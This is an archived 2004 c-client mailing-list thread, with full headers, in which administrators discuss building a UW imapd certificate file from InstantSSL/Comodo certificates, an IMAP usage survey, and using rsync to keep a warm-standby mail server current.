mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i6203x5C005916 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 1 Jul 2004 17:03:59 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6203wex006114; Thu, 1 Jul 2004 17:03:58 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i6203wrS021720; Thu, 1 Jul 2004 17:03:58 -0700 Message-Id: Date: Thu, 1 Jul 2004 17:03:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Kai Lanz Cc: c-client@u.washington.edu Subject: Re: UW imapd and InstantSSL certs In-Reply-To: <200407012354.i61NsR1h012923@pangea.Stanford.EDU> References: <200407012354.i61NsR1h012923@pangea.Stanford.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 1 Jul 2004, Kai Lanz wrote: > InstantSSL gives us *two* certificates: a host certificate and a CA > certificate, i.e. a Comodo intermediate certificate. Can the UW imapd > work with this certificate-plus-intermediate configuration? What do > I need to do to prepare our new imapd.pem? I don't know enough about this to give a guaranteed answer. Hey, I just wrote the code, what makes anyone thing I know anything! :-) But anyway, it sounds to me that your host certificate is what would become your imapd.pem (and is a private key for imapd). Separately, you want to install the CA certificate, including making the funny symlink via ln -s Comodo.pem `/usr/local/ssl/bin/openssl x509 -noout -hash < Comodo.pem`.0 (substitute the CA certificate's file name for "Comodo.pem") which will make a symlink with an 8-digit hex value and an extension of .0 that points to the CA certificate's PEM file The CA certificate is for Pine to be able to validate what IMAP offers; so the CA certificate should be publicly-readable and the imapd.pem should be read-protected. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Jul 1 17:58:12 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 1 Jul 2004 17:58:12 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i620wCPG022244 for ; Thu, 1 Jul 2004 17:58:12 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i620wABg002794 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 1 Jul 2004 17:58:11 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i620vvEF011408; Thu, 1 Jul 2004 17:57:57 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i620v4Vg093544 for ; Thu, 1 Jul 2004 17:57:04 -0700 Received: from jimsun.linxnet.com (jimsun.linxnet.com [64.32.196.134]) by mxe7.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i620v1d8010032 for ; Thu, 1 Jul 2004 17:57:01 -0700 Received: by jimsun.linxnet.com (Postfix, from userid 332) id A4C64430E; Thu, 1 Jul 2004 20:57:00 -0400 (EDT) Message-Id: <20040702005700.A4C64430E@jimsun.linxnet.com> Date: Thu, 1 Jul 2004 20:57:00 -0400 (EDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: jseymour@linxnet.com (Jim Seymour) To: c-client@u.washington.edu Subject: Re: UW imapd and InstantSSL certs In-Reply-To: <200407012354.i61NsR1h012923@pangea.Stanford.EDU> X-Sun-Charset: US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Kai Lanz wrote: > > [snip] > > InstantSSL gives us *two* certificates: a host certificate and a CA > certificate, i.e. a Comodo intermediate certificate. Can the UW imapd > work with this certificate-plus-intermediate configuration? What do > I need to do to prepare our new imapd.pem? Luckily (for you) I just went through this. (UW IMAP's pop3d and Postfix SMTP-AUTH/TLS/STARTTLS) There will be four components to what you'll have to put in imapd.pem, when using InstantSSL/Comodo certs: Server private key Your server cert. N-year Comodo intermediate cert. GTE N-year root (?) cert. I don't know if the order's important, but that's the order I put them in. Hope this helped. (Btw: I've been quite pleased with InstantSSL.) Jim From pinedev@shivax2.cac.washington.edu Fri Jul 2 11:16:20 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 2 Jul 2004 11:16:20 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i62IGKHg022524 for ; Fri, 2 Jul 2004 11:16:20 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i62IGGIx030078 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Fri, 2 Jul 2004 11:16:16 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i62IFwse011926; Fri, 2 Jul 2004 11:15:59 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i62IEsEd120890 for ; Fri, 2 Jul 2004 11:14:54 -0700 Received: from smtp1.Stanford.EDU (smtp1.Stanford.EDU [171.67.16.123]) by mxe3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i62IEpGF030052 for ; Fri, 2 Jul 2004 11:14:51 -0700 Received: from pangea.Stanford.EDU (pangea.Stanford.EDU [171.64.168.31]) by smtp1.Stanford.EDU (8.12.11/8.12.11) with ESMTP id i62IEo6h009268 for ; Fri, 2 Jul 2004 11:14:50 -0700 Received: from laurentia.Stanford.EDU (laurentia.Stanford.EDU [171.64.172.48]) by pangea.Stanford.EDU (8.12.7-20030918/8.12.7) with ESMTP id i62IEmKu027221 for ; Fri, 2 Jul 2004 11:14:48 -0700 (PDT) Received: from pangea.Stanford.EDU (daemon@pangea.Stanford.EDU [171.64.168.31]) by laurentia.Stanford.EDU (8.12.10/8.12.10) with ESMTP id i62IEL30004347 for ; Fri, 2 Jul 2004 11:14:26 -0700 (envelope-from lanz@pangea.Stanford.EDU) Received: (from lanz@localhost) by pangea.Stanford.EDU (8.12.7-20030918/8.12.7) id i62IELtR031855 for c-client@u.washington.edu; Fri, 2 Jul 2004 11:14:21 -0700 (PDT) Message-Id: <200407021814.i62IELtR031855@pangea.Stanford.EDU> Date: Fri, 2 Jul 2004 11:14:21 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Kai Lanz To: c-client@u.washington.edu Subject: SUMMARY: UW imapd and InstantSSL certs X-PMX-Version: 4.6.0.99824, Antispam-Core: 4.6.0.101390, Antispam-Data: 2004.6.15.103798 X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SIGNATURE_SHORT_DENSE 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Thanks to Mark Crispin and Jim Seymour for their quick responses. I had asked about setting up the imapd.pem file using the several certificates we get from InstantSSL. Jim's suggestion seems to be working for us: >There will be four components to what you'll have to put in imapd.pem, >when using InstantSSL/Comodo certs: > > Server private key > Your server cert. > N-year Comodo intermediate cert. > GTE N-year root (?) cert. I catted these four files into a new imapd.pem for our server: # cat server.key ourhost_domain_edu.crt ComodoSecurityServicesCA.crt \ GTECyberTrustGlobalRoot.crt > imapd.pem.new Tests with Eudora and the MacOS X Mail.app clients worked as expected. I'll probably set up the symlink Mark mentioned as well. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Jul 5 14:07:04 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 5 Jul 2004 14:07:04 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i65L74P6023164 for ; Mon, 5 Jul 2004 14:07:04 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i65L72FU020577 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Mon, 5 Jul 2004 14:07:02 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i65L5IwB013700; Mon, 5 Jul 2004 14:05:18 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i65L3tMl008348 for ; Mon, 5 Jul 2004 14:03:55 -0700 Received: from cheshire.ucs.ubc.ca (cheshire.ucs.ubc.ca [137.82.28.1]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i65L3scq028080 for ; Mon, 5 Jul 2004 14:03:55 -0700 Received: from scandia.esd.itservices.ubc.ca ([137.82.28.159]) by cheshire.ucs.ubc.ca with asmtp (TLSv1:RC4-MD5:128) (Exim 4.20) id 1Bhad0-00077y-80 for c-client@u.washington.edu; Mon, 05 Jul 2004 14:03:54 -0700 Message-Id: <40E9C237.9060701@ubc.ca> Date: Mon, 05 Jul 2004 14:03:51 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: George Lindholm To: c-client@u.washington.edu Subject: IMAP usage survey MIME-Version: 1.0 Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms080806000506040405060204" X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __BAT_BOUNDARY 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_SPARSE 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a cryptographically signed message in MIME format. --------------ms080806000506040405060204 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Hello, UBC is finally about to release IMAP (POP so far) to our campus users. At the same time we are changing the folder quota allowed from 2Mb to 50Mb. What we would like to know is what impact this will have to our services, both in terms of folder space used, and to our Web based email client through uPortal. What I am looking for are numbers about folder space used (average, max), number of messages, number of connections over 24 hours, etc. Thanks in advance George -- George.Lindholm@ubc.ca ITServices, UBC Programmer/Analyst phone: 604.822.4375 fax: 604.822.5116 --------------ms080806000506040405060204 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIIGIDCC AtkwggJCoAMCAQICAwv/izANBgkqhkiG9w0BAQQFADBiMQswCQYDVQQGEwJaQTElMCMGA1UE ChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNv bmFsIEZyZWVtYWlsIElzc3VpbmcgQ0EwHhcNMDQwMzI1MTk1NjAyWhcNMDUwMzI1MTk1NjAy WjBIMR8wHQYDVQQDExZUaGF3dGUgRnJlZW1haWwgTWVtYmVyMSUwIwYJKoZIhvcNAQkBFhZH ZW9yZ2UuTGluZGhvbG1AdWJjLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA nOt9DfZ06uMMxQWpMZ5GkTcDuayPAdjv3F8wmiMW3yw6IEDqg4VLBq4/7FosBBwGIN+KZp/G gGei8wERnI0JBkz/D1zHpEhoUMoArbUEriBvwazsjQO9sHAkL6nAO9Bh/Xo4LcfnfRZ1URwI OB85JbTf7Gzfz7+s0AOjr4BkiPEKdfDdu01Lsnv5r2jMPkvm7hRkQ1Ilt5o935O0WLFL/lxE rDCO6uHofsHFOv4DBmBcGDb5ojIksw+cI38HVLtolL6aPlznF7hTNTzxeSue/eCck2Q33SAo 3brMZTzJYqAupilvBtmCcGCdsZoxd8C53bUXKOy970YbJdCEdAdtVQIDAQABozMwMTAhBgNV HREEGjAYgRZHZW9yZ2UuTGluZGhvbG1AdWJjLmNhMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcN AQEEBQADgYEAJn3I0LtZ9b+JI5VwdJXd9uug6Xow+oaacXz4WFgcKWX2gsqpt83nB0Ox8Svp w6u36YSdVuHe6+xulI7k8I5GecLncvhvnHcp07gfSIrYa3+WuIzElo6pMEOgFJMYVuSm/phy NAd7aO/k0UoBC1jMvFZY70iXmcApdQvDXv8Vp5EwggM/MIICqKADAgECAgENMA0GCSqGSIb3 DQEBBQUAMIHRMQswCQYDVQQGEwJaQTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQH EwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0 aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwg RnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5j b20wHhcNMDMwNzE3MDAwMDAwWhcNMTMwNzE2MjM1OTU5WjBiMQswCQYDVQQGEwJaQTElMCMG A1UEChMcVGhhd3RlIENvbnN1bHRpbmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBl cnNvbmFsIEZyZWVtYWlsIElzc3VpbmcgQ0EwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGB AMSmPFVzVftOucqZWh5owHUEcJ3f6f+jHuy9zfVb8hp2vX8MOmHyv1HOAdTlUAow1wJjWiyJ FXCO3cnwK4Vaqj9xVsuvPAsH5/EfkTYkKhPPK9Xzgnc9A74r/rsYPge/QIACZNenprufZdHF KlSFD0gEf6e20TxhBEAeZBlyYLf7AgMBAAGjgZQwgZEwEgYDVR0TAQH/BAgwBgEB/wIBADBD BgNVHR8EPDA6MDigNqA0hjJodHRwOi8vY3JsLnRoYXd0ZS5jb20vVGhhd3RlUGVyc29uYWxG cmVlbWFpbENBLmNybDALBgNVHQ8EBAMCAQYwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVBy aXZhdGVMYWJlbDItMTM4MA0GCSqGSIb3DQEBBQUAA4GBAEiM0VCD6gsuzA2jZqxnD3+vrL7C F6FDlpSdf0whuPg2H6otnzYvwPQcUCCTcDz9reFhYsPZOhl+hLGZGwDFGguCdJ4lUJRix9sn cVcljd2pnDmOjCBPZV+V2vf3h9bGCE6u9uo05RAaWzVNd+NWIXiC3CEZNd4ksdMdRv9dX2VP MYICRDCCAkACAQEwaTBiMQswCQYDVQQGEwJaQTElMCMGA1UEChMcVGhhd3RlIENvbnN1bHRp bmcgKFB0eSkgTHRkLjEsMCoGA1UEAxMjVGhhd3RlIFBlcnNvbmFsIEZyZWVtYWlsIElzc3Vp bmcgQ0ECAwv/izAJBgUrDgMCGgUAoIGxMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJ KoZIhvcNAQkFMQ8XDTA0MDcwNTIxMDM1MVowIwYJKoZIhvcNAQkEMRYEFGEHu1pX+n6IVe7E oeAEr1vbQ/tiMFIGCSqGSIb3DQEJDzFFMEMwCgYIKoZIhvcNAwcwDgYIKoZIhvcNAwICAgCA MA0GCCqGSIb3DQMCAgFAMAcGBSsOAwIHMA0GCCqGSIb3DQMCAgEoMA0GCSqGSIb3DQEBAQUA BIIBAIMUToFABOvierRmHFD+CV45LvHK8mW/er7bJRpMBT7PrL4E/1DHZZPuUx97y88Q4eiv oeVOW2adstmwPJMus0GIc47DStgh/+wWDka+qGgVsWwmENPFkIMZjSe1UiTR1V5i/owb6oTU VQTwLsVgRhPOAzJqOYSAy9aWE6AxuNEgcknWuvPidIQTkEE9GMRnQ8X4FzFRoOfEU1Tbr1Hu Op/jxXW9eSgs/v7pAuHLzbXlo5+Tef6vQbbMIstQpoA00DtC3A/BDZssL0z6Qd3K2Gcozq87 nrTXhlg4ixyyYz/SyXKjvpUV5Jh1t+O/Po/Sjqa4sRaGrssYpG9ibYvKwYMAAAAAAAA= --------------ms080806000506040405060204-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 7 08:54:34 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Jul 2004 08:54:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i67FsXip014223 for ; Wed, 7 Jul 2004 08:54:33 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i67FsVub029121 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 7 Jul 2004 08:54:32 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i67Fs5qA014836; Wed, 7 Jul 2004 08:54:05 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i67FqRYA059918 for ; Wed, 7 Jul 2004 08:52:27 -0700 Received: from artemis.le.ac.uk (artemis.le.ac.uk [143.210.16.126]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i67FqPrI008640 for ; Wed, 7 Jul 2004 08:52:26 -0700 Received: from [143.210.72.249] (helo=scyros.mcs.le.ac.uk) by artemis.le.ac.uk with esmtp (Exim 4.30) id 1BiEie-0006sZ-2N for c-client@u.washington.edu; Wed, 07 Jul 2004 16:52:24 +0100 Received: from pc54 (pc54.mcs.le.ac.uk [143.210.72.46]) by scyros.mcs.le.ac.uk (Postfix) with SMTP id 651D02F673A for ; Wed, 7 Jul 2004 16:52:24 +0100 (BST) Message-Id: <20040707155224.651D02F673A@scyros.mcs.le.ac.uk> Date: Wed, 7 Jul 2004 16:52:25 +0100 (BST) Reply-To: "J. A. Landamore" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "J. A. Landamore" To: c-client@u.washington.edu Subject: rsync for backup MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: aC5JFy4g0jkh6FBvw8xP8w== X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I'd be interested in comments on/flaws in the following. We run a "warm standby" mailsystem, i.e. one that is fully configured and "ready to go" if the main hub fails. The only thing is that the user mail files are always at least a day out of date, having been created from the previous days backup. What problems am I likely to encounter if: I run rsync on the standby with the main hub as the source. I then run mailutil check against the mail files on the standby and re-rsync any that don't check clean. We're talking 6GB+ of mail files, a large part of which don't change (e.g. a 30Mb mailbox which has only 1 or 2 messages added to it), so I'm trying to avoid doing a mailutil transfer which I believe will duplicate the whole tree. For info; all mail input is handled by postfix/dmail and all mail reading is via UW imap/pop and a c-client based webmailer (prayer from U. Cambridge) Mail is held in mbx format files. Thanks for any insight John Landamore School of Mathematics & Computer Science University of Leicester University Road, LEICESTER, LE1 7RH J.Landamore@mcs.le.ac.uk Phone: +44 (0)116 2523410 Fax: +44 (0)116 2523604 -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Jul 7 10:06:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 7 Jul 2004 10:06:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i67H6KPQ018005 for ; Wed, 7 Jul 2004 10:06:20 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i67H6IOW016931 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 7 Jul 2004 10:06:18 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i67H5xRY011466; Wed, 7 Jul 2004 10:05:59 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i67H4pYl119840 for ; Wed, 7 Jul 2004 10:04:51 -0700 Received: from mail.standardbeverage.com (mail.stdbev.com [63.161.72.3]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i67H4l5r022154 for ; Wed, 7 Jul 2004 10:04:47 -0700 Received: (qmail 10630 invoked by uid 1009); 7 Jul 2004 17:09:18 -0000 Received: from Jason.Munro@stdbev.com by mail by uid 1002 with qmail-scanner-1.20rc3 (uvscan: v4.3.20/v4373. Clear:RC:1:. Processed in 0.012365 secs); 07 Jul 2004 17:09:18 -0000 Received: from unknown (HELO mail.stdbev.com) ([127.0.0.1]) (envelope-sender ) by 0 (qmail-ldap-1.03) with SMTP for ; 7 Jul 2004 17:09:18 -0000 Message-Id: <7a622c2442917fb8cf36908d9df91e38@stdbev.com> Date: Wed, 7 Jul 2004 12:09:18 -0500 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jason Munro" To: "J. A. Landamore" Cc: Subject: Re: rsync for backup In-Reply-To: <20040707155224.651D02F673A@scyros.mcs.le.ac.uk> References: <20040707155224.651D02F673A@scyros.mcs.le.ac.uk> MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On 10:52:25 am 07/07/04 "J. A. Landamore" wrote: > I'd be interested in comments on/flaws in the following. > > We run a "warm standby" mailsystem, i.e. one that is fully configured > and "ready to go" if the main hub fails. The only thing is that the > user mail files are always at least a day out of date, having been > created from the previous days backup. What problems am I likely to > encounter if: > I run rsync on the standby with the main hub as the source. I then > run mailutil check against the mail files on the standby and re-rsync > any that don't check clean. > > We're talking 6GB+ of mail files, a large part of which don't change > (e.g. a 30Mb mailbox which has only 1 or 2 messages added to it), so > I'm trying to avoid doing a mailutil transfer which I believe will > duplicate the whole tree. > For info; all mail input is handled by postfix/dmail and all mail > reading is via UW imap/pop and a c-client based webmailer (prayer > from U. Cambridge) Mail is held in mbx format files. Our setup is slightly different but we have been using rsync to keep a "warm standby" system current for a few months and it is working great. We don't run an rsync server, just some scripts and cron jobs to fire off sync jobs over ssh. We have been able to sync 18 gig of Maildir format boxes every 5 minutes with the average sync time being 42 seconds. With that rapid of a sync frequency you have to be careful that a job does not fire off if the prior job has not finished or you can very easily DOS your backup box (It happened to me early on in testing :) Hope any of that helps. \__ Jason Munro \__ jason@stdbev.com \__ http://hastymail.sourceforge.net/ From pinedev@shivax2.cac.washington.edu Thu Jul 8 09:57:22 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 8 Jul 2004 09:57:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68GvLqk007893 for ; Thu, 8 Jul 2004 09:57:21 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68GvJqd013867 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 8 Jul 2004 09:57:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with SMTP id i68Gv6rP013382; Thu, 8 Jul 2004 09:57:06 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i68GtcoZ052438 for ; Thu, 8 Jul 2004 09:55:38 -0700 Received: from ligeti.cc.uottawa.ca (ligeti.cc.uottawa.ca [137.122.6.45]) by mxe4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i68GtZB4005297 for ; Thu, 8 Jul 2004 09:55:35 -0700 Received: from matrix.comm.uottawa.ca (matrix.comm.uottawa.ca [137.122.106.76]) by ligeti.cc.uottawa.ca (8.11.6/8.11.6) with ESMTP id i68GtZc21842 for ; Thu, 8 Jul 2004 12:55:35 -0400 Message-Id: <1089305929.1794.26.camel@matrix.comm.uottawa.ca> Date: Thu, 08 Jul 2004 12:58:49 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Yanik Charbonneau To: c-client@u.washington.edu Subject: Perdition IMAP Proxy Content-Type: text/plain Mime-Version: 1.0 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __CT_TEXT_PLAIN 0, __CT 0, __MIME_VERSION 0, __CTE 0, __KNOWN_SPAMMER_ADDRESS_5 0, SIGNATURE_LONG_SPARSE 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0' X-Listprocessor-Version: 8.1 -- 